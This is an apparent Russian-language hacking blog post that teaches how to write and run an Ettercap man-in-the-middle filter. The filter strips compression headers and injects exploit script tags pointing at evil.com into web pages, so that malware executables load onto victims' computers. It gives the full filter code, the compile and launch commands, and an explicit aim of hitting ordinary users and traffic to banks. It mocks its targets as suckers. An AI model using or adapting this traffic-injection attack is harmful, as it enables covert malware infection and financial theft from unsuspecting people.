Продолжу тему загрузок .ехе на компы обычных пользователей, собственно требуется «заставить» лоха перейти на страницу со сплоитом, который и прогрузит .ехе ему на комп

На сей раз воспользуемся такой хорошей вещью как «Ettercap NG». Что приятно — есть и GUI’шный интерфейс, и консольная версия. Последняя версия — 0.7.3. На сайте ettercap.sourceforge.net есть исходники как под разные виды nix’ов, так и под винду. В общем, это сниффер, наделенный важными и нужными для нас возможностями.
В их число входят:
- Вынимание и, если надо, расшифровывание логинов и паролей к большому числу протоколов
- Модификация передаваемых в обоих направлениях пакетов
- Проведение Man in the Middle атак (MitM)
- Пассивный анализ трафика с фингерпринтом ОС, сервисов хостов
Но для данной задачи нам потребуются его возможности по поиску и модификации данных TCP/IP-пакетов на «живом» трафике.
Общая идея такова: во-первых, имея доступ к трафику устанавливаем фильтр для Ettercap’а на модификацию HTTP-ответов от серверов, куда наши лохи заходят. Модификация будет заключаться в добавлении либо сплойта, либо ссылки на сплойт. Для точности буду рассказывать о консольной версии Ettercap, входящей в BackTrack 3.
Для этого создадим текстовый файлик «http_filter.txt» и пишем в него следующий код — фильтр на HTTP-трафик.
Код:
//Если протокол – TCP, удаленный порт – 80
if (ip.proto == TCP && tcp.dst == 80) {
//Ищем строку
if (search(DATA.data, "Accept-Encoding")) {
//Заменяем на мусор
replace("Accept-Encoding", "Blabla-Blahblah");
//Мессага для нас
msg("Accept-Encoding field has been changed\n"); } }
//Если протокол – TCP, исходящий порт – 80
if (ip.proto == TCP && tcp.src == 80) { replace("</body>", " <script type=\"text/javascript\" src=\"http://evil.com/sploit.js\"></script> \" ");
// Меняем ответ сервера – HTML-страницу, подставляя какой-то свой сплойт
replace("</html >", " <img src=\"http://evil.com/evil.gif\"></img>"); msg("Success!\n");
//Мессага для нас }
Для создания фильтров к Ettercap существует примитивный «язык», которым мы и воспользовались. Здесь мы создали два «правила». Первое применяется к пакетам, отправленным на 80 порт по протоколу TCP. Обычно это запросы браузера на открытие той или иной страницы веб-серверу. В них ищем строчку «Accept-Encoding» (поле стандартного HTTP-заголовка, посылаемого браузером) и меняем ее на любой другой текст того же размера (это важно). Требуется это, потому что обычно в «Accept-Encoding» указывается, что ответы от веб-сервера можно сжимать. Но по сжатым данным мы не сможем провести необходимое нам изменение HTML-страниц. Поэтому мы меняем это поле на что-нибудь другое. Сервер же при разборе пропустит это кривое поле и ответит нам в несжатом виде. Второе правило применяется уже к принимаемым данным. Ситуация похожая. Делаем выборку пакетов от веб-сервера (протокол TCP, исходящий порт — 80). И меняем строчки «», «» на либо яваскриптовский, либо рисунок-сплойт, не суть важно.
Почему именно эти теги будем менять? У них есть один плюс — они присутствуют почти на всех HTML-страничках в единичном числе, что повысит шансы на успешную эксплуатацию уязвимости при малом количестве запросов к нашему серваку. Но все зависит от ситуации, браузера жертвы и т.д. Еще пара моментов: функция «replace» регистрозависима, то есть можно повторить искомые строчки в разных регистрах, а функция «msg» выводит нам сообщения в логах, чтобы мы знали, когда правило задействовалось.Далее требуется переварить наш текстовый файл с фильтром в удобоваримый для Ettercap’a вид.
Пишем в консоли:etterfilter http_filter.txt -o http_filter.ef
Где http_filter.txt — наш файл с фильтром, а в «-o http_filter.ef» указываем имя будущего Еttercap-фильтра (необязательная опция).
Далее запускаем сам Ettercap.ettercap -T -F http_filter.ef
Где опция «-T» указывает на то, что мы запускаем текстовую версию Ettercap и «-F http_filter.ef» — подключаем полученный от Etterfilter фильтр.
В итоге Ettercap будет фильтровать трафик, проходящий от лохов через нашу транзитную AS к банковским и финансовым учреждениям, добавляя в конец каждой HTML’ки наш сплойт.
Как ты понимаешь, Ettercap — тулза крутая, особенно с возможностями фильтров, а они широки. Это и изменение, декодирование пакетов, и использование регекспов, и запуск команд… Основную инфу можно почерпнуть из man’ов и прилагаемых к Ettercap’у примеров.
No comments:
Post a Comment